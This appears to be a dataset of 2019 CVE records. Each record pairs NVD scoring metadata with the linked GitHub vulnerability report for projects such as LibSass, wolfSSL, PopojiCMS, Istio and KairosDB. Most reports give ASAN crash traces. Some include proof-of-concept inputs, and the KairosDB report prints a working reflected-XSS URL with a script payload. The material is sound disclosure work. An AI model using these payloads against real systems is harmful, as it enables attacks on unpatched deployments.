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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2019-18799
|
2019-11-06T16:15:10.930
|
LibSass before 3.6.3 allows a NULL pointer dereference in Sass::Parser::parseCompoundSelector in parser_selectors.cpp.
|
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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|
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"476"
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476
|
https://github.com/sass/libsass/issues/3001
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"sass",
"libsass"
] |
We found SEGV in sassc binary and sassc is complied with clang enabling ASAN.
**Machine Setup**
```
Machine : Ubuntu 16.04.3 LTS
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)
Commit : 4da7c4b
Command : sassc POC
```
**Complilation** : CC=afl-clang-fast CXX=afl-clang-fast++ AFL_USE_ASAN=1 make -C sassc -j4
**POC** : [POC.scss.zip](https://github.com/sass/libsass/files/3697977/POC.scss.zip)
```scss
&&
```
**ASAN Output**
```
fuzzer@fuzzer:~/victim/libsass/sassc/bin$ ./sassc -v
sassc: 3.6.1-5-g507f0
libsass: 3.6.2
sass2scss: 1.1.1
sass: 3.5
fuzzer@fuzzer:~/victim/libsass/sassc/bin$
fuzzer@fuzzer:~/victim/libsass/sassc/bin$ ./sassc POC
ASAN:DEADLYSIGNAL
=================================================================
==24568==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000009634ba bp 0x7ffeca0c6ff0 sp 0x7ffeca0c68c0 T0)
#0 0x9634b9 in Sass::SharedPtr::SharedPtr(Sass::SharedPtr const&) /home/fuzzer/victim/libsass/src/memory/SharedPtr.hpp:116:53
#1 0x9634b9 in Sass::SharedImpl<Sass::SimpleSelector>::SharedImpl(Sass::SharedImpl<Sass::SimpleSelector> const&) /home/fuzzer/victim/libsass/src/memory/SharedPtr.hpp:183
#2 0x9634b9 in Sass::Parser::parseCompoundSelector() /home/fuzzer/victim/libsass/src/parser_selectors.cpp:143
#3 0x960761 in Sass::Parser::parseComplexSelector(bool) /home/fuzzer/victim/libsass/src/parser_selectors.cpp:42:47
#4 0x9696f1 in Sass::Parser::parseSelectorList(bool) /home/fuzzer/victim/libsass/src/parser_selectors.cpp:82:36
#5 0x833ef6 in Sass::Parser::parse_ruleset(Lookahead) /home/fuzzer/victim/libsass/src/parser.cpp:530:25
#6 0x7ff8eb in Sass::Parser::parse_block_node(bool) /home/fuzzer/victim/libsass/src/parser.cpp:278:21
#7 0x7f419f in Sass::Parser::parse_block_nodes(bool) /home/fuzzer/victim/libsass/src/parser.cpp:189:11
#8 0x7eea0f in Sass::Parser::parse() /home/fuzzer/victim/libsass/src/parser.cpp:115:5
#9 0x5981a5 in Sass::Context::register_resource(Sass::Include const&, Sass::Resource const&) /home/fuzzer/victim/libsass/src/context.cpp:306:22
#10 0x5b17c3 in Sass::File_Context::parse() /home/fuzzer/victim/libsass/src/context.cpp:576:5
#11 0x55195e in Sass::sass_parse_block(Sass_Compiler*) /home/fuzzer/victim/libsass/src/sass_context.cpp:180:22
#12 0x55195e in sass_compiler_parse /home/fuzzer/victim/libsass/src/sass_context.cpp:434
#13 0x5503d4 in sass_compile_context(Sass_Context*, Sass::Context*) /home/fuzzer/victim/libsass/src/sass_context.cpp:317:7
#14 0x550ac1 in sass_compile_file_context /home/fuzzer/victim/libsass/src/sass_context.cpp:421:12
#15 0x53f1ce in compile_file /home/fuzzer/victim/libsass/sassc/sassc.c:173:5
#16 0x540284 in main /home/fuzzer/victim/libsass/sassc/sassc.c:387:18
#17 0x7f578e25e82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#18 0x46d1d8 in _start (/home/fuzzer/victim/libsass/sassc/bin/sassc+0x46d1d8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/fuzzer/victim/libsass/src/memory/SharedPtr.hpp:116:53 in Sass::SharedPtr::SharedPtr(Sass::SharedPtr const&)
==24568==ABORTING
fuzzer@fuzzer:~/victim/libsass/sassc/bin$
```
|
SEGV in sassc
|
https://api.github.com/repos/sass/libsass/issues/3001/comments
| 1
|
2019-10-07T14:51:08Z
|
2019-11-12T12:36:06Z
|
https://github.com/sass/libsass/issues/3001
| 503,503,493
| 3,001
| 833
|
CVE-2019-18815
|
2019-11-07T17:15:15.880
|
PopojiCMS 2.0.1 allows refer= Open Redirection.
|
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601
|
https://github.com/PopojiCMS/PopojiCMS/issues/22
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"PopojiCMS",
"PopojiCMS"
] |
Hi, @abdilahrf and I found open redirection vulnerability on the PopojiCMS. The vulnerable code is on **index.php** file line number **101**
notice the parameter refer was used by the code to redirect the user's to another page. So by crafting a request that using the POST method and contains the refer parameter, we could control where to redirect the user.
|
Open Redirection Vulnerability
|
https://api.github.com/repos/PopojiCMS/PopojiCMS/issues/22/comments
| 2
|
2019-10-19T06:27:43Z
|
2019-12-18T09:20:29Z
|
https://github.com/PopojiCMS/PopojiCMS/issues/22
| 509,403,693
| 22
| 834
|
CVE-2019-18816
|
2019-11-07T17:15:15.943
|
po-admin/route.php?mod=post&act=edit in PopojiCMS 2.0.1 allows post[1][content]= stored XSS.
|
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[
"79"
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79
|
https://github.com/PopojiCMS/PopojiCMS/issues/21
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"PopojiCMS",
"PopojiCMS"
] |
Hi, @abdilahrf and I found a stored XSS vulnerability on the Post feature.
By intercepting the request, we are able to edit the request body to insert a XSS payload.
and it is executed just fine
|
Stored XSS on Post feature
|
https://api.github.com/repos/PopojiCMS/PopojiCMS/issues/21/comments
| 3
|
2019-10-18T17:21:47Z
|
2019-12-25T18:57:09Z
|
https://github.com/PopojiCMS/PopojiCMS/issues/21
| 509,214,349
| 21
| 835
|
CVE-2019-18840
|
2019-11-09T13:15:10.227
|
In wolfSSL 4.1.0 through 4.2.0c, there are missing sanity checks of memory accesses in parsing ASN.1 certificate data while handshaking. Specifically, there is a one-byte heap-based buffer overflow inside the DecodedCert structure in GetName in wolfcrypt/src/asn.c because the domain name location index is mishandled. Because a pointer is overwritten, there is an invalid free.
|
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github.com
|
[
"wolfSSL",
"wolfssl"
] |
WolfSSL in versions 4.1.0 and 4.2.0 incorrectly handles X.509 certificates leading to a heap-buffer overflow inside the DecodedCert structure, overwriting a NULL pointer and as a result crash during memory deallocation.
This vulnerability affects both client and server in two supported protocols: TLS and DTLS.
During processing of a crafted certificate, WolfSSL incorrectly handles the loc buffer in the DecodedName structure.
In the following line the count variable reaches value 21, while the loc table has fixed size 19:
wolfcrypt/src/asn.c:5121:
>
> dName->loc[count++] = id;
>
Declarations:
wolfssl/wolfcrypt/asn.h:
>
> #define DOMAIN_COMPONENT_MAX 10
> #define DN_NAMES_MAX 9
>
>
> struct DecodedName {
> char* fullName;
> ...
> int loc[DOMAIN_COMPONENT_MAX + DN_NAMES_MAX];
> int locSz;
> };
>
> struct DecodedCert {
> ...
> DecodedName issuerName;
> DecodedName subjectName;
>
Overflow of the loc table in the issuerName leads to overwritting of the fullName pointer in the subjectName.
During deallocation in the FreeDecodedCert check for cert->subjectName.fullName is ineffective, leading to execution of the free() function on the overwritten pointer.
Crashing function:
wolfcrypt/src/asn.c:4505:
> void FreeDecodedCert(DecodedCert* cert)
> {
> ...
> if (cert->subjectName.fullName != NULL)
> XFREE(cert->subjectName.fullName, cert->heap, DYNAMIC_TYPE_X509);
>
-------------------------------------
Proposed CVSS 3.0 score:
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
-----------------------------------------------------------
Crash on DTLS client connection (parsing cert from incoming network packets):
> ./examples/client/client -u -h 1xx.1xx.1xx.1xx -p 4433 -g
> ASAN:SIGSEGV
>
> ==21175==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fe754d335fc bp 0xfffffffffffffffa sp 0x7ffc731221f0 T0)
> #0 0x7fe754d335fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb)
> #1 0x7fe754daa29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d)
> #2 0x7fe75455ea98 in FreeDecodedCert wolfcrypt/src/asn.c:4532
> #3 0x7fe7547a50ec in FreeProcPeerCertArgs src/internal.c:9548
> #4 0x7fe7547a50ec in ProcessPeerCerts src/internal.c:10807
> #5 0x7fe75480d92c in DoCertificate src/internal.c:10843
> #6 0x7fe75480d92c in DoHandShakeMsgType src/internal.c:11681
> #7 0x7fe754825b6c in DoDtlsHandShakeMsg src/internal.c:12305
> #8 0x7fe754825b6c in ProcessReply src/internal.c:14334
> #9 0x7fe754888c07 in wolfSSL_connect src/ssl.c:11172
> #10 0x413527 in client_test examples/client/client.c:2805
> #11 0x40659b in main examples/client/client.c:3387
> #12 0x7fe753e6b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
> #13 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==21175==ABORTING
>
-----------------------------------------------------------
Crash on DTLS server startup (loading cert from local drive):
> ./examples/server/server -u -c crash_000_FreeDecodedCert.pem
> ASAN:SIGSEGV
> ==21128==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7f715c0555fc bp 0xfffffffffffffffa sp 0x7ffe3bd38ed0 T0)
> #0 0x7f715c0555fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb)
> #1 0x7f715c0cc29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d)
> #2 0x7f715b880a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532
> #3 0x7f715bb90d2d in ProcessBuffer src/ssl.c:5398
> #4 0x7f715bb96ad3 in ProcessFile src/ssl.c:6339
> #5 0x7f715bb9cf4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912
> #6 0x40dc34 in server_test examples/server/server.c:1610
> #7 0x40585e in main examples/server/server.c:2434
> #8 0x7f715b18d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
> #9 0x405a38 in _start (wolfssl-4.2.0c_ASAN/examples/server/.libs/lt-server+0x405a38)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==21128==ABORTING
>
-----------------------------------------------------------
Crash on DTLS client startup (loading cert from local drive):
> ./examples/client/client -u -b -i -c crash_000_FreeDecodedCert.pem
> ASAN:SIGSEGV
> ==21338==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fc36c0f65fc bp 0xfffffffffffffffa sp 0x7ffd695c4810 T0)
> #0 0x7fc36c0f65fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb)
> #1 0x7fc36c16d29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d)
> #2 0x7fc36b921a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532
> #3 0x7fc36bc31d2d in ProcessBuffer src/ssl.c:5398
> #4 0x7fc36bc37ad3 in ProcessFile src/ssl.c:6339
> #5 0x7fc36bc3df4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912
> #6 0x413404 in client_test examples/client/client.c:2320
> #7 0x40659b in main examples/client/client.c:3387
> #8 0x7fc36b22e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
> #9 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==21338==ABORTING
>
-----------------------------------------------------------
Crash on TLS client connection (parsing cert from incoming network packets):
> ./examples/client/client -h 1xx.1xx.1xx.1xx -p 4433 -g
> ASAN:SIGSEGV
> ==21482==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fd9dd1965fc bp 0xfffffffffffffffa sp 0x7ffd173cbf70 T0)
> #0 0x7fd9dd1965fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb)
> #1 0x7fd9dd20d29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d)
> #2 0x7fd9dc9c1a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532
> #3 0x7fd9dcc080ec in FreeProcPeerCertArgs src/internal.c:9548
> #4 0x7fd9dcc080ec in ProcessPeerCerts src/internal.c:10807
> #5 0x7fd9dcc7092c in DoCertificate src/internal.c:10843
> #6 0x7fd9dcc7092c in DoHandShakeMsgType src/internal.c:11681
> #7 0x7fd9dcc86169 in DoHandShakeMsg src/internal.c:11872
> #8 0x7fd9dcc86169 in ProcessReply src/internal.c:14342
> #9 0x7fd9dcceb734 in wolfSSL_connect src/ssl.c:11119
> #10 0x413527 in client_test examples/client/client.c:2805
> #11 0x40659b in main examples/client/client.c:3387
> #12 0x7fd9dc2ce82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
> #13 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==21482==ABORTING
-----------------------------------------------------------
Crash on TLS client startup (loading cert from local drive):
> ./examples/client/client -c crash_000_FreeDecodedCert.pem
> ASAN:SIGSEGV
> ==14540==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fe6467dc5fc bp 0xfffffffffffffffa sp 0x7fff9dd2b980 T0)
> #0 0x7fe6467dc5fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb)
> #1 0x7fe64685329d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d)
> #2 0x7fe646007a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532
> #3 0x7fe646317d2d in ProcessBuffer src/ssl.c:5398
> #4 0x7fe64631dad3 in ProcessFile src/ssl.c:6339
> #5 0x7fe646323f4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912
> #6 0x413404 in client_test examples/client/client.c:2320
> #7 0x40659b in main examples/client/client.c:3387
> #8 0x7fe64591482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
> #9 0x406708 in _start (wolfssl-4.2.0c_ASAN/examples/client/.libs/lt-client+0x406708)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==14540==ABORTING
>
-----------------------------------------------------------
Crash on TLS server startup (loading cert from local drive):
> ./examples/server/server -c crash_000_FreeDecodedCert.pem
> ASAN:SIGSEGV
> ==14502==ERROR: AddressSanitizer: SEGV on unknown address 0xfffffffffffffffa (pc 0x7fb7139575fc bp 0xfffffffffffffffa sp 0x7ffe8c8d8180 T0)
> #0 0x7fb7139575fb (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x215fb)
> #1 0x7fb7139ce29d in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9829d)
> #2 0x7fb713182a98 in FreeDecodedCert wolfcrypt/src/asn.c:4532
> #3 0x7fb713492d2d in ProcessBuffer src/ssl.c:5398
> #4 0x7fb713498ad3 in ProcessFile src/ssl.c:6339
> #5 0x7fb71349ef4e in wolfSSL_CTX_use_certificate_chain_file src/ssl.c:6912
> #6 0x40dc34 in server_test examples/server/server.c:1610
> #7 0x40585e in main examples/server/server.c:2434
> #8 0x7fb712a8f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
> #9 0x405a38 in _start (wolfssl-4.2.0c_ASAN/examples/server/.libs/lt-server+0x405a38)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ??:0 ??
> ==14502==ABORTING
>
-----------------------------------------------------------
Reproduction:
Download and compile WolfSSL 4.2.0 or 4.1.0.
Unzip and use attached crafted certificate with above commands (./example/server/server -c ... or ./example/client/client -c ...).
[crash_000_FreeDecodedCert.zip](https://github.com/wolfSSL/wolfssl/files/3805130/crash_000_FreeDecodedCert.zip)
-----------------------------------------------------------
Credit:
Jakub Botwicz (Samsung R&D Poland)
|
Heap based buffer overflow while parsing crafted X.509 certificates
|
https://api.github.com/repos/wolfSSL/wolfssl/issues/2555/comments
| 6
|
2019-11-04T17:01:40Z
|
2019-11-13T20:50:52Z
|
https://github.com/wolfSSL/wolfssl/issues/2555
| 517,282,984
| 2,555
| 836
|
CVE-2019-18836
|
2019-11-11T01:15:10.210
|
Envoy 1.12.0 allows a remote denial of service because of resource loops, as demonstrated by a single idle TCP connection being able to keep a worker thread in an infinite busy loop when continue_on_listener_filters_timeout is used."
|
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"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
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"confidentialityImpact": "NONE",
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Vendor Advisory"
],
"url": "https://blog.envoyproxy.io"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/envoyproxy/envoy/security/advisories/GHSA-3xvf-4396-cj46"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/istio/istio/issues/18229"
},
{
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"tags": null,
"url": "https://groups.google.com/forum/#%21forum/envoy-users"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "https://blog.envoyproxy.io"
},
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"tags": [
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],
"url": "https://github.com/envoyproxy/envoy/security/advisories/GHSA-3xvf-4396-cj46"
},
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] |
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] |
[
"835"
] |
835
|
https://github.com/istio/istio/issues/18229
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"istio",
"istio"
] |
**Bug description**
We are running Istio v1.3.3 (this also happend on v1.3.0), most of our applications are running fine. However, in one of our deployments the CPU on the sidecar is pegged at 1.0 for the life of the pod. This happens for the majority of the pods in the same deployment but not all. The pod contains nginx, istio-proxy and an application container all of which have normal CPU use except istio-proxy. I turned on debugging on the sidecar however there are not really interesting.
```
istio-proxy [2019-09-25 09:45:06.322][27][debug][client] [external/envoy/source/common/http/codec_client.cc:95] [C1145026] response complete
istio-proxy [2019-09-25 09:45:06.322][27][debug][filter] [src/envoy/http/mixer/filter.cc:214] Called Mixer::Filter : onDestroy state: 2
istio-proxy [2019-09-25 09:45:06.322][27][debug][pool] [external/envoy/source/common/http/http1/conn_pool.cc:199] [C1145026] response complete
istio-proxy [2019-09-25 09:45:06.322][27][debug][pool] [external/envoy/source/common/http/http1/conn_pool.cc:237] [C1145026] moving to ready
istio-proxy [2019-09-25 09:45:06.322][27][debug][filter] [src/envoy/http/mixer/filter.cc:228] Called Mixer::Filter : log
istio-proxy [2019-09-25 09:45:06.322][27][debug][filter] [./src/envoy/http/mixer/report_data.h:144] No dynamic_metadata found for filter envoy.filters.http.rbac
istio-proxy [2019-09-25 09:45:06.323][27][debug][filter] [src/istio/control/client_context_base.cc:138] Report attributes: attributes {
istio-proxy key: "connection.mtls"
istio-proxy value {
istio-proxy bool_value: false
istio-proxy }
istio-proxy }
istio-proxy attributes {
istio-proxy key: "context.protocol"
istio-proxy value {
istio-proxy string_value: "http"
istio-proxy }
istio-proxy }
istio-proxy attributes {
istio-proxy key: "context.prox
istio-proxy [2019-09-25 09:45:06.324][27][debug][connection] [external/envoy/source/common/network/connection_impl.cc:520] [C1145208] remote close
istio-proxy [2019-09-25 09:45:06.324][27][debug][connection] [external/envoy/source/common/network/connection_impl.cc:190] [C1145208] closing socket: 0
istio-proxy [2019-09-25 09:45:06.324][27][debug][main] [external/envoy/source/server/connection_handler_impl.cc:80] [C1145208] adding to cleanup list
istio-proxy [2019-09-25 09:45:06.324][27][debug][filter] [src/envoy/tcp/mixer/filter.cc:100] [C1138233] Called tcp filter onRead bytes: 17
istio-proxy [2019-09-25 09:45:06.324][28][debug][router] [external/envoy/source/common/router/router.cc:1002] [C637330][S2924433164096281138] upstream headers complete: end_stream=false
istio-proxy [2019-09-25 09:45:06.324][28][debug][filter] [src/envoy/http/mixer/filter.cc:141] Called Mixer::Filter : encodeHeaders 2
istio-proxy [2019-09-25 09:45:06.324][28][debug][http] [external/envoy/source/common/http/conn_manager_impl.cc:1435] [C637330][S2924433164096281138] encoding headers via codec (end_stream=false):
```
I was able to collect an strace from the PID of the problematic pod
```
sudo strace -c -f -p 5296
strace: Process 5296 attached with 15 threads
^Cstrace: Process 5296 detached
strace: Process 5329 detached
strace: Process 5330 detached
strace: Process 5331 detached
strace: Process 5332 detached
strace: Process 5338 detached
strace: Process 5340 detached
strace: Process 5341 detached
strace: Process 5342 detached
strace: Process 5343 detached
strace: Process 5344 detached
strace: Process 5345 detached
strace: Process 5346 detached
strace: Process 5347 detached
strace: Process 6356 detached
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
73.39 0.176384 256 687 44 futex
9.04 0.021728 49 436 nanosleep
8.82 0.021201 122 173 epoll_pwait
6.45 0.015504 3100 5 2 restart_syscall
0.64 0.001548 30 50 write
0.50 0.001208 11 109 50 read
0.31 0.000753 75 10 sched_yield
0.30 0.000715 14 50 25 accept4
0.24 0.000567 22 25 close
0.16 0.000385 7 50 epoll_ctl
0.08 0.000181 7 25 getsockname
0.07 0.000178 7 25 setsockopt
------ ----------- ----------- --------- --------- ----------------
100.00 0.240352 1645 121 total
```
Here is the output of
kubectl -n $namespace exec -it $pod -c istio-proxy -- top on a pod with busy-envoy
```
top - 15:33:18 up 18:25, 0 users, load average: 1.58, 1.56, 1.53
Tasks: 3 total, 1 running, 2 sleeping, 0 stopped, 0 zombie
%Cpu(s): 22.5 us, 15.0 sy, 0.0 ni, 62.0 id, 0.0 wa, 0.0 hi, 0.4 si, 0.0 st
KiB Mem : 7807704 total, 1493152 free, 3275896 used, 3038656 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 4147820 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
21 istio-p+ 20 0 228232 112156 19180 S 104.7 1.4 51:18.67 envoy
1 istio-p+ 20 0 138296 25400 20892 S 0.0 0.3 0:07.84 pilot-agent
33 istio-p+ 20 0 36836 3016 2584 R 0.0 0.0 0:00.00 top
```
There has been a forum thread about it, but this is now ongoing without any resolution. So far the only workaround has been to downgrade the sidecar to 1.2.6
https://discuss.istio.io/t/istio-sidecar-consuming-high-cpu/3894
Any ideas on how I can troubleshoot further?
**Affected product area (please put an X in all that apply)**
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[x ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
**Expected behavior**
CPU not going high
**Steps to reproduce the bug**
Unable to reproduce
**Version (include the output of istioctl version --remote and kubectl version)**
citadel version: 1.3.0-1.3.3
galley version: 1.3.0-1.3.3
ingressgateway version: 1.3.0-1.3.3
pilot version: 1.3.0-1.3.3
policy version: 1.3.0-1.3.3
sidecar-injector version: 1.3.0-1.3.3
telemetry version: 1.3.0-1.3.3
**How was Istio installed?**
helm chart
**Environment where bug was observed (cloud vendor, OS, etc)**
amazon eks
|
Istio Sidecar consuming high CPU Istio 1.30-1.3.3
|
https://api.github.com/repos/istio/istio/issues/18229/comments
| 30
|
2019-10-23T15:46:28Z
|
2020-07-03T08:51:34Z
|
https://github.com/istio/istio/issues/18229
| 511,415,965
| 18,229
| 837
|
CVE-2019-18844
|
2019-11-13T20:15:11.020
|
The Device Model in ACRN before 2019w25.5-140000p relies on assert calls in devicemodel/hw/pci/core.c and devicemodel/include/pci_core.h (instead of other mechanisms for propagating error information or diagnostic information), which might allow attackers to cause a denial of service (assertion failure) within pci core. This is fixed in 1.2. 6199e653418e is a mitigation for pre-1.1 versions, whereas 2b3dedfb9ba1 is a mitigation for 1.1.
|
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"baseScore": 5,
"confidentialityImpact": "NONE",
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|
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[
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617
|
https://github.com/projectacrn/acrn-hypervisor/issues/3252
|
[
"Third Party Advisory"
] |
github.com
|
[
"projectacrn",
"acrn-hypervisor"
] |
Assert usages issue in device model from KW work.
|
Assert usages issue in device model from KW work.
|
https://api.github.com/repos/projectacrn/acrn-hypervisor/issues/3252/comments
| 2
|
2019-06-12T08:24:06Z
|
2019-07-22T02:05:38Z
|
https://github.com/projectacrn/acrn-hypervisor/issues/3252
| 455,076,074
| 3,252
| 838
|
CVE-2019-18954
|
2019-11-14T00:15:11.017
|
Pomelo v2.2.5 allows external control of critical state data. A malicious user input can corrupt arbitrary methods and attributes in template/game-server/app/servers/connector/handler/entryHandler.js because certain internal attributes can be overwritten via a conflicting name. Hence, a malicious attacker can manipulate internal attributes by adding additional attributes to user input.
|
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|
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[
"668"
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668
|
https://github.com/NetEase/pomelo/issues/1149
|
[
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"Third Party Advisory"
] |
github.com
|
[
"NetEase",
"pomelo"
] |
We found that pomelo allows external control of critical state data. A malicious user-input can corrupt arbitrary methods and attributes in template/game-server/app/servers/connector/handler/entryHandler.js because certain internal attributes can be overwritten via a conflicting name. Hence, a malicious attacker can launch attacks by adding additional attributes to user-input.
A detailed discussion of the vulnerability can be found here.
https://github.com/cl0udz/vulnerabilities/tree/master/pomelo-critical-state-manipulation
|
A state poisoning vulnerability in pomelo
|
https://api.github.com/repos/NetEase/pomelo/issues/1149/comments
| 5
|
2019-11-08T00:04:23Z
|
2020-03-23T19:09:46Z
|
https://github.com/NetEase/pomelo/issues/1149
| 519,582,593
| 1,149
| 839
|
CVE-2019-19011
|
2019-11-17T18:15:10.987
|
MiniUPnP ngiflib 0.4 has a NULL pointer dereference in GifIndexToTrueColor in ngiflib.c via a file that lacks a palette.
|
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[
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github.com
|
[
"miniupnp",
"ngiflib"
] |
We found Segmentation Fault issue in gif2tga binary and gif2tga is complied with clang enabling ASAN.
**Machine Setup**
Machine : Ubuntu 16.04.3 LTS
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)
Commit : 992d272
Command : ./gif2tga $POC
POC :- [GifIndexToTrueColor-SEGV.zip](https://github.com/miniupnp/ngiflib/files/3790545/GifIndexToTrueColor-SEGV.zip)
**ASAN Output**
```
fuzzer@thickfuzzer:~/fuzzer/ngiflib$ ./gif2tga in/GifIndexToTrueColor-SEGV
ASAN:DEADLYSIGNAL
=================================================================
==11610==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000005 (pc 0x0000004f2268 bp 0x7ffe389c63f0 sp 0x7ffe389c1d20 T0)
#0 0x4f2267 in GifIndexToTrueColor /home/fuzzer/fuzzer/ngiflib/ngiflib.c:844:20
#1 0x4f2267 in WritePixel /home/fuzzer/fuzzer/ngiflib/ngiflib.c:134
#2 0x4f2267 in DecodeGifImg /home/fuzzer/fuzzer/ngiflib/ngiflib.c:560
#3 0x4f2267 in LoadGif /home/fuzzer/fuzzer/ngiflib/ngiflib.c:825
#4 0x4ea8a6 in main /home/fuzzer/fuzzer/ngiflib/gif2tga.c:95:10
#5 0x7f2b1146c82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#6 0x418a98 in _start (/home/fuzzer/fuzzer/ngiflib/gif2tga+0x418a98)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/fuzzer/fuzzer/ngiflib/ngiflib.c:844:20 in GifIndexToTrueColor
==11610==ABORTING
fuzzer@thickfuzzer:~/fuzzer/ngiflib$
```
|
Segmentation Fault in ngiflib.c
|
https://api.github.com/repos/miniupnp/ngiflib/issues/16/comments
| 0
|
2019-10-30T18:20:15Z
|
2019-11-09T13:10:39Z
|
https://github.com/miniupnp/ngiflib/issues/16
| 514,884,667
| 16
| 840
|
CVE-2019-19040
|
2019-11-17T21:15:11.303
|
KairosDB through 1.2.2 has XSS in view.html because of showErrorMessage in js/graph.js, as demonstrated by view.html?q= with a '"sampling":{"value":"<script>' substring.
|
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"79"
] |
79
|
https://github.com/kairosdb/kairosdb/issues/569
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"kairosdb",
"kairosdb"
] |
Hello,
I want to report a Reflect Cross-site scripting issue on `view.html`.
## Vulnerability
A function call on [view.html, Line 48](https://github.com/kairosdb/kairosdb/blob/master/webroot/view.html#L48) will append error message by `showErrorMessage` function.
`showErrorMessage` function was declared in [js/graph.js](https://github.com/kairosdb/kairosdb/blob/master/webroot/js/graph.js#L352)
The error message will append to html without any escape.
```
function showErrorMessage(message) {
var $errorContainer = $("#errorContainer");
$errorContainer.show();
$errorContainer.html("");
$errorContainer.append(message);
}
```
So we can create a malicious error query and then trigger the XSS easily:
```
/view.html?q={"metrics":[{"tags":{},"name":"123","group_by":[{"name":"tag","tags":["1"]}],"aggregators":[{"name":"sum","sampling":{"value":"<script>alert(document.domain)</script>","unit":"milliseconds"}}],"limit":"1"}],"plugins":[],"cache_time":0,"start_absolute":1570723200000,"end_absolute":1571241600000}&d=[{"scale":true}]
```
## Fix
You can escape the malicious code or fix with url encode `append(htmlEncode(message))` before append to html.
Best Regards.
|
